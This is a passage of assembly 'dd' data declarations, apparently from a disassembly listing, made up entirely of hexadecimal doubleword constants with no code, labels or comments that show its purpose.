		dd 86696Ch, 29FED6C3h, 8FDCC35Ah, 6A32DD04h, 0AF6EA31Dh
		dd 0DD9DB640h, 0FDF9CEEFh, 0FF44A84Ah, 1397B4CCh, 84252FC2h
		dd 35EBF707h, 0FBFB2CAFh, 7A9E6FD2h, 238D57E5h,	0B6D2F2FFh
		dd 0F024F9BFh, 0F27B9F77h, 0FF761FB1h, 64A39B7Ch, 0F228B6DDh
		dd 3205FB1Dh, 57F070DEh, 0E210CEEFh, 73857D17h,	0D54F72BFh
		dd 0FCAFEFBAh, 3C9F96D3h, 0F3B3E1FDh, 3DFCFBBEh, 0D7B27DDFh
		dd 0CEB7EAF9h, 4F8FFF96h, 788E7CBFh, 757379D8h,	0DC74C4Eh
		dd 0F40973F7h, 12B00462h, 28973B5h, 7E095C28h, 0F141E205h
		dd 0D9CB7E10h, 9D5F8057h, 95B8E7A8h, 80AC50A2h,	75BF1F2Fh
		dd 98B3D1F8h, 558043F1h, 0DB2CDFD8h, 0DBCCAAE4h, 7275BC5Ch
		dd 76E46425h, 6560AB88h, 23D94EF0h, 0C539E4AFh,	54D8D805h
		dd 0EDA6B9ECh, 0D08F8A74h, 0F79E05BBh, 0A128ED89h, 1DBB3A18h
		dd 0AD1216BAh, 56B801A2h, 1BD706ECh, 1668A344h,	0CEF1508Ah
		dd 0BF1D7F0Dh, 22F50157h, 8855F78Ch, 0A81B4553h, 82DA119Bh
		dd 47E136B8h, 0ABE82B5Ch, 0C087CB50h, 0BB176EBh, 2F20173Ch
		dd 0AF21F0BFh, 0A0568402h, 0F6279CEh, 939304DEh, 8E60FF9Ch
		dd 0C5A9B4FAh, 3FF4EEA6h, 0CFEEA4E8h, 0BE673E56h, 0DC87F593h
		dd 71EDFB70h, 0E1DEAF69h, 0F33D74E4h, 0F1E1719Dh, 0C78643Bh
		dd 3C2314CFh, 8E5BC4Bh,	3FCA6F40h, 65DCBD07h, 0BCFA1394h
		dd 33DA45E8h, 4E58A200h, 3CA7CC65h, 846559A6h, 87FBDF41h
		dd 46A3179Fh, 642C53BCh, 4175B19Bh, 2772478Ch, 74067740h
		dd 77E2301h, 0D804D2EAh, 7808380Bh, 0C04DF009h,	80BD000Fh
		dd 463C009Fh, 7DBF897Dh, 0B5D82E80h, 0E6470117h, 64AFFF3Ah
		dd 9F73F8B8h, 9DE97D3Dh, 9B7ADFCEh, 7179B97Eh, 3F3C4AEAh
		dd 195CC1F8h, 0F07D3120h, 0A05B22DCh, 702DB176h, 0C0B68BF6h
		dd 816D7BDEh, 2D9F7D5h,	16DFBB3Fh, 16C07FC8h, 2DA0F038h
		dd 0E4DF3D30h, 9BD201E3h, 0CD3B58BCh, 0DBDB7847h, 7D1A7E4Bh
		dd 3FAECBF3h, 0FCF0D83Fh, 3D36D7A2h, 17478B37h,	0DD99EB07h
		dd 8D3080BDh, 44D8E64Bh, 0A632447Ah, 0C57702BCh, 27CFB6D3h
		dd 3278C1EDh, 0DDFC9DFh, 6CC6740Fh, 0C3E845F2h,	2038C015h
		dd 0B2E90Dh, 80E58039h,	40254012h, 7068034Eh, 0A706342Ah
		dd 2A81B882h, 0BCF24A71h, 3EEFBA72h, 0DFC5A7EDh, 6ED68471h
		dd 264FBBD0h, 1EBBD78Eh, 0B455C97Eh, 0E1B27F6h,	303ADD0Eh
		dd 0D77BE172h, 3913C712h, 91E210A5h, 0F63DEF39h, 3717D1A3h
		dd 0FF3849FDh, 0CADFDBADh, 7ABC5E3Fh, 0A6D9757Bh, 5BD5CD92h
		dd 0A8CFABB6h, 0B2F76561h, 0DB0DDBA5h, 0F875ADFh, 5FC60968h
		dd 8CEF995Ch, 0C750811Fh, 0AED0C01Ch, 9B4A7C98h, 538914EEh
		dd 7F2FAA28h, 0F1FB5BBFh
		dd 1EBDBFF8h, 0AADEFCC8h, 0B2FF7134h, 0F944DFA7h, 0E97BE31Eh
		dd 0D4D1CC06h, 0BAC6EEEDh, 5ADAAB50h, 6AA9CE1Fh, 9B6ADB54h
		dd 0DB84B673h, 0DBAD8DFCh, 0B43FD6ABh, 0DE45680Ah, 57F4FE66h
		dd 205C1405h, 0CF19A4CBh, 8984FA4Ch, 6CE02F70h,	0AD252F02h
		dd 5B9A5B7Bh, 82EBFD6Bh, 0D6D15141h, 0ADAA1952h, 0A5B1AA7Bh
		dd 0AE815041h, 0BE9546F6h, 86349627h, 30334BD8h, 24187B57h
		dd 386D4F61h, 9504B620h, 0C6FAC6BAh, 4168B3Ah, 36A521C5h
		dd 3DBA54ACh, 0FD9B5A1Bh, 616C84Ah, 34A5E511h, 5EC5612Bh
		dd 6243BE2Ah, 0CD1D3634h, 94780A71h, 0D9E1C65Dh, 663C07A4h
		dd 0FC982399h, 3C4BBB2Eh, 78B3EFCEh, 918B572Eh,	33318C31h
		dd 99AD7188h, 347250C7h, 6B2395E9h, 5BD1D225h, 0F8430D1Ah
		dd 5EF2B76Dh, 660F7A02h, 0AD88A66h, 0A4DF2CBFh,	0D327E536h
		dd 8039F108h, 0E2973B1Ch, 1678857h, 573C2AF0h, 3694B732h
		dd 99DB690Fh, 807DC14Bh, 7CD1A6CAh, 2DCBFC33h, 9945AA7Eh
		dd 255F84D8h, 33C45BFCh, 5CC3C518h, 0BBE432E6h,	8D3CE31Dh
		dd 0F21375E8h, 0DED8C6AAh, 568D8A02h, 0CA45CCD8h, 0F26A2B61h
		dd 94BB11A0h, 19312BE7h, 0F012D8CAh, 65128D51h,	86A5005Ch
		dd 0A8D5CF51h, 3EFDD539h, 25084796h, 92432106h,	80D79528h
		dd 3CC432B8h, 0F056F88Ah, 836E0B54h, 1B64DF3Ch,	8F87B460h
		dd 56E21573h, 79F26DA3h, 41AB11D6h, 0DD7DD72Ah,	9A59A04h
		dd 5DAE3E34h, 1B32CD3Ch, 5D8C90Dh, 68960AAAh, 1B72DD3Ch
		dd 3367C91Dh, 0EA0A5324h, 42BA048Ah, 0AB74DD1Bh, 0E87D644Dh
		dd 72419CE9h, 0F84510A8h, 549E63B5h, 0E7699684h, 25F15AD0h
		dd 779E04F1h, 0AC1CF1h,	7C73D6BCh, 84E0D611h, 24FC629Fh
		dd 0FB2AF856h, 0CADE301Eh, 79E336DFh, 3AB380Fh,	6805A196h
		dd 62EE7A6Bh, 2C7382BCh, 0A3F1B800h, 0F2E3DB98h, 9F2D4228h
		dd 0B7C9D486h, 0E86EF19Fh, 0AD9E2165h, 0BC60EA1Ch, 0B1167C11h
		dd 3741176Eh, 8ACE2C5Bh, 0D878D6B0h, 0D2B46DF0h, 41FBBF98h
		dd 8BEE0ADBh, 0D3197120h, 0BF407622h, 836F859Fh, 0E8DAA311h
		dd 8DB8C8BFh, 84788A71h, 7E822F73h, 0EFDE322Ch,	0B3E959E7h
		dd 0C7015DCCh, 59BC69DCh, 2287BD8Fh, 0E563D9BCh, 0FB8D94F5h
		dd 3818F102h, 7296F991h, 89A08B8Dh, 19C96845h, 0CC0EFD16h
		dd 73508B6Eh, 32C1E7F2h, 0F26AE278h, 0BF695A1Ch, 4DFF6268h
		dd 56DD892Ch, 256F9429h, 0A1400EE0h, 872A4321h,	395995DEh
		dd 78CD0D3Ch, 83AC5216h, 0FE167F35h, 1C7B88B5h,	0BB711525h
		dd 93684A2Dh, 2564E0EDh, 0F00CFEFBh, 85DED590h,	0B7F27409h
		dd 0B5CE78D9h, 0F19B31E4h, 985AB3Ah, 0CB2D0DDFh, 31B4D2B6h
		dd 79C1BBDFh, 68317409h, 0B7112EC4h, 0AFE6D419h, 0E912D279h
		dd 5FA184F7h, 4809C46Bh, 31F58CCFh, 0F9784DBEh,	58B513B9h
		dd 0BD62A782h, 1DBBC54Fh, 0E4925C71h, 7ABE1AD6h, 66296FCh
		dd 5BEB38F8h, 92592191h, 0C7315EEBh, 0ADAB6D92h, 2B77F21Eh
		dd 3A8569C0h, 81B0451Ch, 0A964F7F6h, 0E85DA163h, 0D36529Fh
		dd 0EB0E5C56h, 0F1945AEBh, 8FADA1ACh, 89155C58h, 0EF6E9C68h
		dd 0DA94BD63h, 59B59B39h, 0A2D2B8F2h, 0F7F02770h, 18A57338h
		dd 4B3A6CFDh, 0D0BA08A6h, 8E7832CFh, 46D723F5h,	74FDCF9Fh
		dd 1C4C643Bh, 86DA335Eh, 0B65136FAh, 0E794E732h, 38BA9426h
		dd 645EEAEh, 6D68ADEFh,	0CB4315F2h, 0DD790C8Bh,	0B973696Dh
		dd 0C35989C1h, 4B38B662h, 0E8DF3FD9h, 6E568D51h, 175A8D0Bh
		dd 0B3ED7FA1h, 44725BF4h, 8F43F7B2h, 2A2F8017h,	188C61F7h
		dd 0DB97BB14h, 31E8C8A4h, 993C184Fh, 29442C5Ch,	0E9368D9Bh
		dd 12C87AE0h, 0C60D6D28h, 0D0CB7B1Dh, 9AB7156Fh, 0D71A6F2Ch
		dd 61D8F288h, 9B22C9D9h, 168F9B65h, 0AE5B43A9h,	69BFE04Eh
		dd 625E1D12h, 0E7B97BF3h, 0ACA8CB53h, 3703520Fh, 0B1C8DF71h
		dd 0E219C2F5h, 76A96D8Fh, 0C352AD18h, 0F7164163h, 0B7ACDBC2h
		dd 11F9BF0Ah, 59589ADBh, 0D6B7CB01h, 0B0C58BE8h, 0A4A1CF9Eh
		dd 6BFD9605h, 78D5CE40h, 3E94663Eh, 316656C3h, 697C934Bh
		dd 0ECFCF56Ch, 5BF683DFh, 33652902h, 0FB0CFBAFh, 2E7198BFh
		dd 0DD055938h, 91F9867Eh, 0EC3AD4B9h, 0F7F201Ah, 7D4B1EB3h
		dd 0EDC46859h, 0CEFDE9B1h, 0E1A916B8h, 2E0C8BD2h, 0E9BF439Fh
		dd 430EFF40h, 0AAD352F6h, 198F396Dh, 0FFD64CCFh, 33D26DA7h
		dd 0EFE0597Fh, 0E1E42B61h, 3C5FB43Eh, 360C78E7h, 0BB7A1E41h
		dd 0D2CEC44Dh, 683AA749h, 0E630E0BDh, 0BB21EB66h, 0F6834816h
		dd 0BCF3D638h, 8339E142h, 6258BEB9h, 0EFA8D1CDh, 415282B5h
		dd 0B0B671FDh, 6FB1F4FEh, 0F999DD95h, 9FCC76C3h, 0A1F9AD57h
		dd 0AFCD3B99h, 492EF0B6h, 9CC6DA23h, 0FB59E4BDh, 0D699F628h
		dd 9BBC866h, 0E6113ABEh, 7F901BB4h, 42109733h, 0CEF3B7DBh
		dd 2DC8584Ah, 139E62FEh, 3B4A72D5h, 94FF399Dh, 0B06DCF33h
		dd 0E6E21B7Dh, 9574F69Fh, 5B08E33Ch, 939E08BCh,	0B6F4A711h
		dd 58A5799Ch, 0A9D9659Ah, 399B804Ah, 5AA9A64Eh,	79856EBFh
		dd 66A6AEAEh, 0AADAAECFh, 2516D0DAh, 3AC8258Ch,	0D4A43FBFh
		dd 0C188F15Bh, 0C72FE92Bh, 0ECADDC14h, 6E6DAE2Eh, 45B3A7B6h
		dd 0F3E3FB97h, 0EC32A4A3h, 435A850Ah, 0A128F79Bh, 0BDD6E6FAh
		dd 0D2B95C46h, 870D5EB2h, 5C73B94Ch, 0E5B2D2D9h, 384B7FA6h
		dd 683BBC54h, 0DAF2C7C6h, 59B9C2DCh, 9E85D669h,	51EEB771h
		dd 0AA553CECh, 0B6D3D761h, 0A0A25F7h, 5B0BAB6Ah, 288EB434h
		dd 15556E6Eh, 0B69EC23h, 0A2DBDE6Fh, 0DED99684h, 2D2A0E6Fh
		dd 56973CB6h, 0F4B17529h, 7F014521h, 636972E5h,	86D714D1h
		dd 0AC11DE2Dh, 0BDB66DAAh, 633E0D6Bh, 0F16B2DA7h, 58E5ED2Bh
		dd 0E4F3D8BEh, 4A68C65Ah, 3F9682DAh, 6D068EAEh,	8714F95Ch
		dd 1DB7B2F6h, 5B2620DAh, 7F32A86Ah, 3E493B7Ch, 0BD7B6B39h
		dd 21A534ACh, 0E6B6D45h, 0BA940717h, 5379ECA7h,	1AEAD8DBh
		dd 33BD1BC7h, 4E7B4AEAh, 5057B017h, 4F3D780Eh, 8DBB19AEh
		dd 73C61BE7h, 4061CF10h, 0B0107018h, 380BD015h,	1A77BC6Dh
		dd 9FDE29E9h, 0B2B7DF47h, 443B9867h, 0CEDA6269h, 0F7E2079Ch
		dd 0CCCAEE0Dh, 0C3B8BD84h, 1A0999A2h, 69068131h, 668B0E1Dh
		dd 1332681Ah, 88BFF269h, 0D327E535h, 0D0149A4Dh, 27C84EE4h
		dd 0CC552323h, 199F2B1h, 0CA49D49Ah, 62DC774Ah,	0CD074CD1h
		dd 0E56509F2h, 0B8E69DDFh, 549A2C9h, 7C84DA4Dh,	33CF06EEh
		dd 409B9A2Dh, 3E626F33h, 7B90C652h, 375DE1Fh, 72FE172h
		dd 205B52A4h, 18401ECh,	5657E299h, 0B707B0DDh, 8E5139D3h
		dd 5C79E699h, 0FEC68F73h, 0B1A0F83Eh, 0D3BF76CFh, 0B12BBB02h
		dd 3DA67D9Dh, 227D3348h, 8F9F199Dh, 27DA057Dh, 42DEC61Ch
		dd 17B4FC1Fh, 0F07F0238h, 0A4B5A551h, 0F91799A5h, 6B5092C1h
		dd 813D8D0h, 0B6BB2B56h, 14D82128h, 2B6378Ah, 0EAEB77CCh
		dd 1B9B1BEBh, 0D799E159h, 0A546E6E2h, 2A3C8C25h, 9BC35B5Ah
		dd 5B43776Ah, 40F9B483h, 843849A3h, 471909ADh, 7D85BEDDh
		dd 0C5032042h, 137B91A4h, 0C792E558h, 6E832323h, 30740D95h
		dd 7C421B7Eh, 73683700h, 81F2FD3Eh, 0DA01E9CBh,	9B7FF7AAh
		dd 0B5F91A3Fh, 0DE86F02Fh, 0B21CFA65h, 535AAAA5h, 0C6B80EAEh
		dd 77A04172h, 703E9A4h,	0D734382Eh, 0FE7F81F8h,	30435AB4h
		dd 0D54DEA23h, 0DE03E90Bh, 0ED93FEB2h, 0B88AD7D8h, 0A8D73447h
		dd 0B9A8BAE6h, 0F82E682Eh, 59D73587h, 0B9A435CDh, 9F573506h
		dd 5CD5EAE6h, 31D73427h
		dd 734475CDh, 2F5CD61Dh, 0CD2EAE68h, 75735075h,	41F6876Ah
		dd 76A1DAD4h, 41C661C6h, 7B193BC6h, 0E7193B18h,	3C61CE33h
		dd 0DCE85A9Fh, 7B2E2EC9h, 0D8D7BE10h, 0F5F05D7h, 9E885EFBh
		dd 0E82F7DD3h, 31C5F485h, 15511A70h, 5F405888h,	88A1F51Eh
		dd 0DEFA287Bh, 774C8BC9h, 0F54D9A31h, 0A1C63938h, 6D28460Bh
		dd 8D468521h, 7A871650h, 8725508Dh, 3E90CA0Eh, 5E211223h
		dd 0DE83BE22h, 61E8EA8Ah, 0A87136F4h, 0D6E3BFh,	0DDB40279h
		dd 6689ED5Ch, 0AA92C03Fh, 0B336F03Fh, 4719C48Dh, 6B0DAFFAh
		dd 9828B287h, 0F1481F4Dh, 9C22028Eh, 0E730F27Dh, 0ED28D87Fh
		dd 0CD2E8475h, 2E3C793Dh, 27439072h, 2232160Ch,	0D7059947h
		dd 3AA78550h, 59F5D2FAh, 19101830h, 0C6987C87h,	0C0DEEEE8h
		dd 85E46405h, 42A88660h, 570279EFh, 3B9E8E11h, 2FF33970h
		dd 9FA39E68h, 19B222D5h, 0E4DC002h, 0F11E966Dh,	6AB6EF93h
		dd 3D54B1EDh, 0A69F5B43h, 82266A1Fh, 97D1E9F5h,	89B131C6h
		dd 0F3C6A51Ch, 0E9B34454h, 0C227B03Bh, 0E9D287EDh, 0D381F07Bh
		dd 37D1F039h, 386E2A61h, 910B1EFAh, 4891F2Ah, 0D9F31059h
		dd 4722494Fh, 456F5CA9h, 39620A53h, 28E47A6Dh, 19844169h
		dd 4A54381Ah, 9C73559Fh, 83758062h, 0D3668D98h,	3DDD6987h
		dd 0AC2224DCh, 4F514D3Ch, 0B387A8E4h, 0E7D36689h, 0B88A196Ah
		dd 0E9B3448Fh, 80BEB5BBh, 0CCB67BEh, 9D51EFA3h,	0BDCEB853h
		dd 22D38934h, 1CA8E752h, 970976AAh, 0FC0B9Ah, 985A4A97h
		dd 90A5CF86h, 726C3203h, 0E5165978h, 7B921652h,	0ACCA5A94h
		dd 721C87CFh, 56FC1CA4h, 0A1DAF589h, 1A305C79h,	0FCB71E65h
		dd 0DD0D46DDh, 0AB7AB27Dh, 0DF47AA12h, 4A5C63E3h, 0D9579906h
		dd 0BF162530h, 920F4F92h, 36BCEE4Bh, 5CE37F76h,	0B8F5FF6Eh
		dd 0B86EFF0Ch, 0B8F5FCECh, 70DDFEECh, 71EBF3D9h, 0E1BBFFD9h
		dd 2E126872h, 0DD45F775h, 2EBBABD7h, 15BD0BE8h,	3DB0F4A0h
		dd 49D3668Ch, 57A4D812h, 361BA6C6h, 36713C89h, 16C05F49h
		dd 920FCC80h, 0B9914607h, 0D94834C7h, 9461AE64h, 4528C872h
		dd 0C4514CE2h, 0D695E7D7h, 0C033C2A5h, 43325DDDh, 339058C7h
		dd 0BBF9639Dh, 25B2946Fh, 931FCC91h, 54C4DF2Ch,	0C8B9FDD4h
		dd 348DADC9h, 0AF5EAE7Eh, 0A23EB914h, 0ED106FBh, 6B651DAh
		dd 0E591EB37h, 0B6BB7B14h, 0D41F5531h, 35DF218Ah, 0AE9C5F14h
		dd 0A1CA81CBh, 59A6E21Fh, 0FB4BAA97h, 826CCEB1h, 7BBAE975h
		dd 7D1D5BC4h, 0C794DC79h, 4E3CA278h, 6F10E78Eh,	0EEDB0D67h
		dd 0AD42CB3Bh, 14304298h, 74A329D5h, 9A47A8F7h,	0B63EC8F3h
		dd 917409A8h, 5A2C58F6h, 291CCB25h, 8A4712B2h, 8CA251C8h
		dd 0F68CE0F0h, 0D9ED94ECh, 0A6CD1A94h, 0E96042D3h, 0A9ACE9C0h
		dd 6F685A58h, 8ADAA9ADh, 0F4C6F6F2h, 0D1C99E64h, 0F91C09BCh
		dd 83AE233Ah, 0A36A1E15h, 8DEBCCE1h, 3CD9CC13h,	0BC6B338Bh
		dd 4D9B8397h, 0EEE9EF5Ch, 0BD5138AEh, 3C46FBA7h, 21293615h
		dd 0A685F2C1h, 0C492C2DCh, 868FEC1Ch, 0C729D4B9h, 66CF08FBh
		dd 0DECB6664h, 0C7EC737h, 379C5449h, 5C84EAE2h,	19BC7A0Fh
		dd 0DD354E47h, 597DED74h, 7F5EF029h, 838CFDE8h,	0AD2AF835h
		dd 5CEED0FBh, 351B8A93h, 757747BBh, 1D9B1279h, 0D056669Ah
		dd 7589EAD6h, 0A6174B2h, 236D73C9h, 90AB453Ch, 3A1D4025h
		dd 6E39B2BDh, 0E0FF38B2h, 5268530Fh, 7DB0FB21h,	0D0B25152h
		dd 9898F72Eh, 73104DF7h, 0DB98827Bh, 0DB662C6Fh, 4B938AB4h
		dd 57E6DAF9h, 0EA9B5131h, 0A735DD0Bh, 0DF07195Bh, 89BFFF12h
		dd 4356A5Ah, 0B0D6513Eh, 49708653h, 0C475E0D4h,	9B510373h
		dd 0E4594773h, 44C7D3D4h, 954C9E5Dh, 9CAA6353h,	647CAAC5h
		dd 0AEEAF92Ah, 1824F41h, 80CC991Bh, 99FDB025h, 1953924h
		dd 0AE037303h, 0FCEF5A71h, 0C70FA041h, 0B26D2F5Ah, 7D09D6F7h
		dd 71E4A6D4h, 9F395553h, 0D268B64h, 3D553193h, 41CA17A5h
		dd 16C3146Dh, 68E71856h, 42340161h, 59D09868h, 0B0844342h
		dd 0F2D7D176h, 17DDD444h, 8CAB4F3Dh, 7B33473h, 23C1463Ah
		dd 0F0530E84h, 0DF584205h, 695DD29Ch, 0EA2D3D1Eh, 0E35DD34Dh
		dd 0CD72FBBAh, 16ED7E93h, 0FA13CAAAh, 71F8ED3Fh, 6E4C38AAh
		dd 0BDDF58Ah, 2ADDF5F6h, 6A8B2C10h, 5B7AE31Dh, 3D3E955Ah
		dd 7DD549EAh, 0A8C75AE9h, 0EB5171D6h, 8C75A0B8h, 5AC31D68h
		dd 63AD59C7h, 0D418EB48h, 1D68CE3Ah, 8F475ABDh,	7B4C71D6h
		dd 0AFA0E49Bh, 8B94CA1Dh, 2FBAF3A8h, 67896A93h,	0CF1BD516h
		dd 0F3D75479h, 696BF6D4h, 25DFA611h, 1435E765h,	0FB353CE1h
		dd 0AB2DA359h, 9AA4AFA2h, 0B66A996Dh, 0C5D99565h, 0FD6107DFh
		dd 7208DF43h, 1A453EC7h, 43A64BC6h, 688B87EFh, 0B0CBBC74h
		dd 663989F7h, 2666399Ah, 0F364C8E6h, 0FBA980E4h, 8DC4BD86h
		dd 0E59C5635h, 0F911739Eh, 6E41D6D9h, 69FB60ACh, 774B300Eh
		dd 67E2D1F7h, 0E9A529B0h, 0B95C9A36h, 6A61574Eh, 7ABAFBA5h
		dd 0E69128E9h, 6F07CB90h, 58FA8D2Ah, 9FC862EBh,	7C8DAC6Dh
		dd 230B6267h, 2AB58F57h, 0D35347CAh, 0A3CFD818h, 6B88B1DCh
		dd 32EF02A4h, 0DC466CEDh, 73950C67h, 0BD7C44F7h, 7A5DE309h
		dd 91CDFD7Ch, 0D0B1BCEEh, 0D90CDCC5h, 2F106873h, 0D14D1C9Bh
		dd 0D0A4E40h, 0E25C7DC0h, 911C2D20h, 0CD3E7A10h, 88CCF3D4h
		dd 51C9A46Fh, 45C92811h, 7274D946h, 0CD11C9B8h,	81C473A6h
		dd 0BEFB1C1Eh, 6B88CE4h, 0D57A3991h, 4B633059h,	0EAEA3166h
		dd 4B232E81h, 77CE02DBh, 0B909A2ACh, 0EBE499D1h, 2BD810F4h
		dd 0CA3B8293h, 259EBAD4h, 0FA06FD75h, 0F7D7683Eh, 8FF7D252h
		dd 6C71B6B4h, 33EB546Ah, 0E7A3BEA4h, 5AA36D69h,	76D6B0DBh
		dd 0D21B6B56h, 36B5FADAh, 6D6AF4C4h, 0B75B5A3Dh, 0BDA5D6D6h
		dd 6F13DBC9h, 656F1806h, 37BB13CCh, 65CE3157h, 0B5F3C093h
		dd 532CABC2h, 0F51FA208h, 3570E5F1h, 9D8132A0h,	0B3A864B9h
		dd 6E032D73h, 4FAF8EB6h, 5099A42Fh, 769A692Fh, 0B73B2E54h
		dd 879F16C6h, 0E09E0CB8h, 591E3847h, 0DE3DEE42h, 0A297390Ah
		dd 0CF00FC25h, 0C9733AAEh, 5D24BB47h, 30E76CD4h, 0B019E7BDh
		dd 2A6C9BBBh, 5C47F4D2h, 4C2DD05Dh, 334957A5h, 0A657C727h
		dd 5423FCE4h, 85C03643h, 0E4D69959h, 0E4F3146Eh, 0C0DB01A3h
		dd 0C453A984h, 0D8FB0DD7h, 0D6254723h, 4349EA44h, 0ED3490B0h
		dd 2E1635CFh, 0D1E9E766h, 0CD79C75Ch, 0BEC37EE2h, 213D8077h
		dd 0D7C0E36Bh, 0DD1CEB6Bh, 73832DF6h, 0EF35A86h, 0DD04EC8Ch
		dd 6E9B7F5Ch, 7F00A05h,	0C4969705h, 0D3C4E448h,	2EBEE730h
		dd 0BE0DDAF0h, 972DA47Bh, 95D9E689h, 0C3C1B4D0h, 0D6636F64h
		dd 7D829FB9h, 466622A6h, 0C455262Bh, 37FAC15Ch,	0EBFD126Fh
		dd 620AC5C5h, 68DDE3B4h, 74707594h, 2B7975C0h, 575C0688h
		dd 0EB80EDE8h, 46A5E0AAh, 0FBA69E9Ah, 0ADB02AD2h, 0C1C97186h
		dd 782A486Fh, 948AA7F4h, 2F5701CEh, 0B888FA9Dh,	3A18217Ah
		dd 0AD8F5FD9h, 0D6E01B3h, 3B0632A2h, 65636F74h,	75502903h
		dd 0A4D90990h, 1AE72826h, 4FBDA419h, 0CFAE9DDDh, 0D0D088A9h
		dd 317F4D9Bh, 528A69E0h, 1493EEE7h, 91748172h, 0C67DC1DBh
		dd 0EE449B2Bh, 0D28E45C6h, 0CE854FE6h, 0AC6C3001h, 0DFF3BD26h
		dd 0D0ED07FFh, 0BC0FF876h, 0DC74584Dh, 0D03F34DDh, 9494150Dh
		dd 0D1423D1Eh, 357A695Eh, 9A5D1B5Eh, 294FC035h,	0D1F2E384h
		dd 31ACB373h, 98D426F5h, 0EBFECB42h, 3CFDB781h,	0E3F23B51h
		dd 0AF5B7F6Bh, 0B80F0EF9h
		dd 51666EBAh, 5EBF80F4h, 42B6DA2Fh, 0AE59CBEAh,	5657B779h
		dd 891A020Ah, 1A1F2319h, 0A68096DFh, 69ADF301h,	0CECE74C0h
		dd 73348692h, 7D719F88h, 59093449h, 0E7453D79h,	0BB178E75h
		dd 9085132Dh, 0C5208523h, 8F4BF3A4h, 21A70429h,	421A704h
		dd 20C0D78Bh, 0D2E614FEh, 47C59B22h, 54F5F347h,	0A193DB50h
		dd 9E677C95h, 674ED6E2h, 0D34EEA53h, 927E90E7h,	0EB33BA76h
		dd 0D7AEC331h, 0F3057110h, 6B4B4343h, 4D3D649Eh, 0FFDC3717h
		dd 0B179703Dh, 2DBB2C65h, 61586963h, 0B22F2C69h, 0BE04B1h
		dd 1ECD2963h, 0EF889046h, 47A65362h, 0B80F0DF3h, 249CD286h
		dd 4EC6E3B9h, 36B5A8DFh, 0E0DE06F5h, 7EFE84F1h,	9DF0DAE5h
		dd 0E2CD8FDh, 5645CB7Ch, 0B0307E33h, 0C7D436F7h, 9B5EA17Dh
		dd 8BA5DFB4h, 3FFDA1Bh,	0FAAD2B97h, 9F524CF4h, 6E95DD4Ch
		dd 9EA96654h, 0FFCD35E6h, 0C4BB8C71h, 0FE811A3Eh, 0CB5F46E4h
		dd 9BC05835h, 0FEA5797h, 0E2F1947Dh, 36BCF15Fh,	0F8CF351Dh
		dd 60D17FD1h, 0E3BE22BDh, 58FD32B0h, 6586BAE2h,	3D921E0Fh
		dd 8714B8F8h, 0DFB3F587h, 0C43F930Bh, 0C7B62633h, 2389B143h
		dd 325869C6h, 59BC1CAFh, 0C3FA8746h, 3E07F5E9h,	0FE746474h
		dd 0F4BA7219h, 171E5915h, 2F4E3EE6h, 0DFA41F68h, 49D1915Bh
		dd 8F52AB7Fh, 42D26C11h, 591EFD5Dh, 66B205E8h, 50DF11FDh
		dd 0E274EDBCh, 0DD2EAA0Fh, 43AC11FDh, 816F2678h, 0FAB86B73h
		dd 0FB78069h, 0B778A7E0h, 35C65E9Ch, 7AE7DA10h,	0A6CD13CDh
		dd 0BA9A613Fh, 0F6ADD27Dh, 3ED09DE9h, 495B34D0h, 0D1855059h
		dd 6642A8EBh, 3702E6Ch,	0E55A087Dh, 0DFAE4FF5h,	0E064E6A3h
		dd 0E807398Ch, 855E5A92h, 22702A41h, 0D9AF2697h, 7B60B1AFh
		dd 65862C69h, 0D2D73FA0h, 2186BC77h, 17FB3F4Fh,	6B88F924h
		dd 0BC3BC694h, 81A65C0Eh, 0BA86DB5Fh, 0B632EDB0h, 42DF0E4h
		dd 5EBE71FBh, 0C6E3564h, 595A1174h, 77389DCAh, 7B263EAFh
		dd 9FC3FD77h, 0A1E11F86h, 294349D4h, 0BB481BE7h, 32842617h
		dd 0CD277CE7h, 8CFB9A8Dh, 8B020E1Ch, 977247F0h,	919926B2h
		dd 0C9CEE29Dh, 7342E0F3h, 0E9473BF8h, 0A5DE306Eh, 5BE62989h
		dd 0ADF3EC27h, 6C44C9A1h, 684E1AAEh, 0DB5A236Dh, 46829A0h
		dd 476D698Fh, 0B57937B4h, 6714172Ch, 0F521E7A2h, 3F52F163h
		dd 4967DB06h, 262BA3BDh, 0E1C77D75h, 0B314E608h, 3A922220h
		dd 97DAD5E6h, 0F737B552h, 0E5290EF1h, 0AC9F486Ah, 6E97443Dh
		dd 0BBAE4B49h, 0C5220269h, 681A4C7Fh, 7A1E09A3h, 87E10293h
		dd 0C270CDEDh, 0CA5C0CD6h, 1B52B924h, 1ADF1AF4h, 22A277Ch
		dd 0C752F7B9h, 0C9D1B9A6h, 0B115599Bh, 0BC5FC8A3h, 58D2568Eh
		dd 4BA79672h, 0BD73B21Ah, 1EA55341h, 2F00C10h, 39AF1C96h
		dd 0F7350928h, 70715A71h, 397E5D5Ah, 92F3A39Bh,	0F11CB695h
		dd 65D30D4Dh, 1F1692CEh, 6AC4653Ch, 49C05A65h, 0C391CEECh
		dd 0F5970811h, 3C428563h, 0DA74DE6Bh, 76D93632h, 86877846h
		dd 508B4BA5h, 0EABD8196h, 9DF55067h, 0DEB3755Ch, 76AE1E23h
		dd 579F0E50h, 9632E6E4h, 94C855BBh, 0F031CEFEh,	3591B27h
		dd 78D0477Dh, 0A9652B89h, 5AD62378h, 0C4EF5CD8h, 0A7E7C2D6h
		dd 28D0065Eh, 2F7F4530h, 0C2F194B7h, 93EFE867h,	0ED7D74F7h
		dd 9FBFB365h, 6254B5A1h, 38B30C87h, 0EDE5BB30h,	6B5E33F7h
		dd 0C3D89B72h, 0D0A43D87h, 0EF070AB0h, 9C40E5E5h, 0EF03D2C8h
		dd 2EA8CFE0h, 6FE6B2CDh, 0F3FDEFFFh, 6EE9709Bh,	5C9B1DF9h
		dd 0F789A6FEh, 11EE9965h, 54052BBCh, 7B01EA01h,	0BA03CF00h
		dd 3E803D01h, 6FE020C0h, 0F89BA301h, 4C8B1F0h, 52C062Ch
		dd 25407ACh, 25F01EAh, 0CE88A7B4h, 0CBE7883h, 5E80638h
		dd 1CE015FCh, 15701460h, 3E3F8290h, 62C04CCh, 6AFD056Ch
		dd 3B004B3Ch, 0EF080301h, 6020F3C1h, 0E1AFFE10h, 1F407DF9h
		dd 4380A7E0h, 0F3C61B88h, 8063001Fh, 5D10AF34h,	0E7879B88h
		dd 35807Dh, 9676456Ch, 1013B9E3h, 0C211FC02h, 0D9DEE8F8h
		dd 80CBFF09h, 4E02EFh, 46034Eh,	29F0157h, 0F540E366h, 1E7C03Ch
		dd 54D6000Fh, 57EF7E4Ch, 5D59714Dh, 0AAA11F2Bh,	0D537F5A9h
